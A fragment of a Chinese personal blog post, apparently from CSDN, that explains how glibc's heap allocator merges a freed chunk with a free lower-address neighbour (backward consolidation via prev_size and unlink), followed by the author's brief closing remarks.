        ①:p 是高地址的 chunk ,if 判断中首先检测 P 的 Size 字段的 P 位是否为 0 ,是则说明物理相邻的低地址 chunk 为 free chunk ,可以向后合并,然后就获取 p 的 Prev_size,将 p 的 Prev_size 加到 p 的 Size 就算把物理相邻的低地址 chunk 合并了,然后将 p 指向被合并的低地址 chunk ,再利用 unlink 将其从 bin 中删除就算完成了向后合并

  

七、小结

        写得很乱,东西很多很冗杂,但我在探索的过程中所遇见的远不止这些,所以就不做删减处理了,也懒得整理了,反正这文章大概率也没啥人看,就作为一个个人笔记好了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值